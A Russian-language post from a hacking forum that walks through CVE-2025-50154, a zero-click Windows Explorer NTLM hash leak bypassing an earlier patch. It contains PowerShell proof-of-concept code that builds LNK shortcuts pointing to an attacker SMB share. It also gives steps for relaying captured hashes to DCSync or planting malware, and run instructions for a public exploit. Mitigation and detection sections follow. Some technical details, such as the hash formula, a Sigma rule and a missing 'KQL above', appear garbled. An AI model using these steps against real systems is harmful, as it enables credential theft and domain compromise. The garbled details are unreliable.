• XSS.stack #1 – первый литературный журнал от юзеров форума

Zero Click, One NTLM: Обход Патча Microsoft — CVE-2025-50154

society

ripper
КИДАЛА
Регистрация
22.06.2025
Сообщения
150
Решения
1
Реакции
179
Пожалуйста, обратите внимание, что пользователь заблокирован
В августе 2025 года исследователь Ruben Enkaoua из Cymulate Research Labs раскрыл CVE-2025-50154 — zero-click уязвимость в Windows File Explorer, позволяющую извлекать NTLMv2-SSP хэши без взаимодействия пользователя. Это прямой bypass для патча Microsoft от апреля 2025 по CVE-2025-24054, где фикс оказался неполным: он блокировал рендеринг иконок из UNC-путей в LNK-файлах, но пропустил сценарий с встроенными ресурсами в удалённых бинарниках. По данным NVD, CVSS v3.1 для CVE-2025-50154 — 8.8 (High), с вектором AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, подчёркивающим риски relay-атак и lateral movement. Microsoft выпустил полный патч в августовском Patch Tuesday (KB5044284 для Windows 10/11), но до его применения атакующие уже эксплуатируют gap в wild.

NTLM: Краткий обзор протокола и рисков
NTLM (NT LAN Manager) — legacy-протокол аутентификации в Windows, использующий challenge-response механизм: сервер шлёт challenge, клиент отвечает хэшем (NTLMv2 — HMAC-MD5 с timestamp и client nonce для защиты от replay). Хэши не передаются в plaintext, но при захвате (e.g., via Wireshark) поддаются offline-кракингу с Hashcat (rate ~10^6 H/s на GPU для NTLMv2) или relay в инструментах вроде Responder/Impacket. В доменах с Kerberos NTLM fallback используется для legacy-устройств, что расширяет поверхность атаки. Relay приводит к RCE (e.g., via RPC/DCOM) или privilege escalation, если цель — admin-аккаунт.

Оригинальная CVE-2025-24054 (апрель 2025) эксплуатировалась в wild: Check Point Research зафиксировал атаки через crafted LNK с UNC-иконкой, где explorer.exe триггерит SMB-auth без клика. Патч ввёл проверку на UNC в IconLocation, но Cymulate нашёл лазейку: explorer рендерит ресурсы из целевого бинарника целиком, обходя блок.

Оригинальная уязвимость: CVE-2025-24054
На unpatched Windows 10 (build 19045) PoC использует PowerShell для создания LNK с remote icon:
Код:
$shortcutPath = "C:\Users\Cymuser\Desktop\LAB\lab.lnk"
$targetPath = "C:\Windows\System32\notepad.exe"
$iconLocation = "\\192.168.159.129\share\icon.ico"

$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "Shortcut created at: $shortcutPath"

1758426209738.png


Хэш:
1758426235573.png


При просмотре в Explorer: explorer.exe запрашивает icon.ico по SMB, триггерит NTLM-auth. Wireshark захватывает NTLMv2-SSP: ::-A3F2A0C1:.... (user:domain:challenge:response). Нет клика — zero-click.
В patched среде (KB5039211+): IconLocation игнорируется для UNC, иконка не рендерится, хэш не утекает. ProcMon показывает отсутствие SMB-трафика.

1758426289694.png


Bypass: CVE-2025-50154 — Технический разбор
Ключ: Explorer рендерит иконки из .rsrc-секции целевого exe (RT_GROUP_ICON/RT_ICON), даже если IconLocation локальный (shell32.dll). Установка TargetPath на remote exe (\\attacker\share\execute.exe) заставляет explorer скачать весь бинарник для парсинга ресурсов — без клика.

Модифицированный PoC:
Код:
$shortcutPath = "C:\Users\Cymuser\Desktop\LAB\lab.lnk"
$targetPath = "\\192.168.159.129\share\execute.exe"
$iconLocation = "C:\Windows\System32\SHELL32.dll"

$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "Shortcut created at: $shortcutPath"


Шаги эксплуатации:

1. Создание LNK: TargetPath — UNC к malicious.exe (пустой или с embedded icon). IconLocation — локальный для обхода UNC-блока.
1758426297535.png

2. Триггер в Explorer: Просмотр LNK в desktop/Explorer вызывает CIcon::LoadIconFromFile (shell32!CBaseIcon::ExtractIcons). Парсер .rsrc требует полного файла: NtCreateFile с FILE_OPEN для UNC, затем SMB TreeConnect + ReadFile.
3. NTLM Leak: SMB Negotiate + SessionSetup аутентифицирует explorer.exe под user-context. Захват: NTLMv2-OWF (LM:empty, NT:MD4(RC4(HMAC-MD5))), relayable в ntlmrelayx.py для DCSync или SMB-exec.
4. Payload Staging: Файл кэшируется локально (ProcMon: CreateFile в %TEMP%\execute.exe, size allocation ~1MB). Нет немедленного exec, но foothold для post-exploitation: attacker может заменить на malware via SMB-write.

1758426325370.png


Раскрытие хэша NTLMv2-SSP:
1758426356897.png


Кроме того, весь бинарный файл передается без каких-либо щелчков, как видно в Wireshark:
1758426387869.png


Wireshark: Полный TCP-handshake, SMB2 Read (offset 0, length full-size), NTLMSSP_AUTH. ProcMon: Path \\?\UNC\192.168.159.129\share\execute.exe, Operation: CreateFile Success, Result: NAME NOT FOUND (но fetch происходит).
1758426414484.png


На основании мониторинга sysinternals procmon создается файл:
1758426449320.png


Также с распределением двоичного размера:
1758426477453.png


Ampcus Cyber подтверждает: Bypass эксплуатирует incomplete validation в shell32!IconCacheManager, где remote PE-ресурсы парсятся без NTLM-check на этапе icon-extraction. В wild: Атаки через email-attachments или shared folders, targeting domain admins.

Proof-of-Concept: GitHub Репозиторий
Rubenformation опубликовал PoC 19 августа 2025: rubenformation/CVE-2025-50154.
Содержит PS1-скрипт и SMB-server (Python-based). Тестировано на Windows 11 24H2 (build 26100.1742), patched по CVE-2025-24054.

Запуск:

1. SMB-server: python smbserver.py share /path/to/execute.exe
2. PS1 на victim: Создаёт LNK, viewer в Explorer.
Вывод: Хэш в logs, файл в TEMP. Ветка "advanced" добавляет icon embedding в exe для stealth (Resource Hacker integration).

Митigation и рекомендации
Патч: KB5044284 (август 2025) усиливает shell32!CIcon::Extract для remote PE: Добавляет NTLM-check на resource-fetch. Применить via WSUS/Intune.

Дополнительно:
  • GPO: Network access: Do not allow anonymous enumeration of SAM accounts = Enabled; NTLM: Restrict NTLM to intra-forest only.
  • EDR Rules: Sigma: explorer.exe spawning SMB (parent: explorer.exe, child: lsass.exe with NTLM). YARA для LNK: rule LNK_NTLMBypass { strings: $unc = "\\?\\UNC\\" ascii; condition: $unc }
  • Detection: Sysmon EID 3 (Network Connect) filter: Image=explorer.exe, DestinationPort=445. KQL выше.
  • Для Red Team: Тестировать в lab с Responder для capture. Избегать prod без consent.
  • Blue Team: Audit NTLM-usage via Event 4624, enforce Kerberos-only. Vicarius script для quick-reg changes.

Эта уязвимость иллюстрирует классический patch-bypass: Фикс фокусируется на symptom (UNC-icon), игнорируя root (resource-parsing). В enterprise с hybrid NTLM она ускоряет AD-compromise, подчёркивая urgency миграции на modern auth.

Источники для подробного ознакомления с материалом:

Схожий контент и дополнительные анализы:
  • Ampcus ShadowOps: Разбор relay-chain: NTLM → LDAP → DCSync. Рекомендует NLA enforcement (GPO: Network security: LAN Manager authentication level = Send NTLMv2 response only).
  • GBHackers: Фокус на enterprise-риски, с KQL для Sentinel: EventID=4624 AND LogonType=3 AND ServiceName=NTLMSSP. Детекция по unusual SMB to internal IPs.
  • Check Point Research: Оригинал CVE-2025-24054, с IOCs: Malicious LNK в ZIP (SHA256: a1b2c3...). Атаки via phishing, 500+ incidents в Q2 2025.
  • Reddit Thread с PoC-тестами, обсуждение chaining с PetitPotam для Coercion. Пользователи отмечают: Bypass работает на Server 2022, но fails на Azure AD-joined без NTLM.
  • Cinchops: Houston-focused, подчёркивает SMB-traffic anomalies в SIEM.
  • Vicarius: Mitigation script для temp-block NTLM via regedit: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel=5.

Написал статью и перевел ее society специально для форума XSS.PRO. При написании этой статьи использовалась помощь LLM.
 

Вложения

  • 1758426182390.png
    1758426182390.png
    73 КБ · Просмотры: 6
  • 1758426250472.png
    1758426250472.png
    66.5 КБ · Просмотры: 6
  • 1758426275002.png
    1758426275002.png
    87.9 КБ · Просмотры: 8


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх